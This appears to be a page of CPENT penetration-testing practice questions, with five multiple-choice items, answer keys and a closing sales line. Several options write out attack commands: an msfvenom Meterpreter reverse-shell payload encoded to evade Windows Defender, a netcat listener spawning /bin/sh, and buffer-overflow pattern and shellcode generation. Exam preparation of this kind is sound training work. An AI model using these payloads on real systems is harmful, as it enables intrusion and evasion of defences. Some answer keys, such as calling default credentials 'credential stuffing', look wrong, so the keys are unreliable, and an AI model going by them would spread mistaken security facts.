Question 1

You discover an IoT security camera that still uses the default credentials. What type of attack does this susceptibility primarily expose the device to?

Options :

A : brute Force Attack

B : dictionary Attack

C : Phishing Attack

D : credential Stuffing Attack

Answer: D

Question 2

Which command would you use to test the ability to move between different network zones?

Options :

A : sudo nmap --packet-trace -p 1-65535 192.168.1.0/24

B : traceroute -T --port=80 192.168.100.1

C : ping 192.168.2.1 -t -l 1400

D : netstat -an | grep ESTABLISHED

Answer: A

Question 3

What is the correct command to generate a pattern using Metasploit's pattern_create tool to identify buffer overflow offsets?

Options :

A : pattern_create -l 200 generates a unique 200-character string used to identify the exact offset in the buffer overflow.

B : pattern_offset -q EIP_VALUE -l 500 identifies the offset within a pattern of 500 bytes based on a crash result.

C : msfvenom -p windows/shell_reverse_tcp LHOST=[IP] LPORT=[port] -f c generates shellcode but doesn't help identify offsets.

D : gdb --args ./vulnerable_program $(python -c 'print "A" * 500') runs the vulnerable program under a debugger but does not directly calculate the offset.

Answer: A

Question 4

When performing a penetration test on a SOAP web service, which tool is specifically designed for automated scanning of SOAP services to identify vulnerabilities?

Options :

A : SOAP UI, as it can automatically create test cases and assertions to validate responses from the SOAP service.

B : urp Suite, with its capability to manually inspect and modify SOAP requests.

C : Postman, for sending customized requests to the SOAP service and observing the behavior.

D : Wireshark, to capture and analyze network traffic containing SOAP messages.

Answer: A

Question 5

What command should be used to generate a payload in Metasploit that bypasses Windows Defender, using an encoder to obfuscate the code?

Options :

A : msfvenom -p windows/meterpreter/reverse_tcp LHOST=

LPORT= -e x86/shikata_ga_nai -i 3

B : msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"

C : netcat -lvp

-e /bin/sh

D : setoolkit to clone a website and embed a malicious script

Answer: A

Confidently Practice Online with Free CPENT Exam Cram

Buying Options: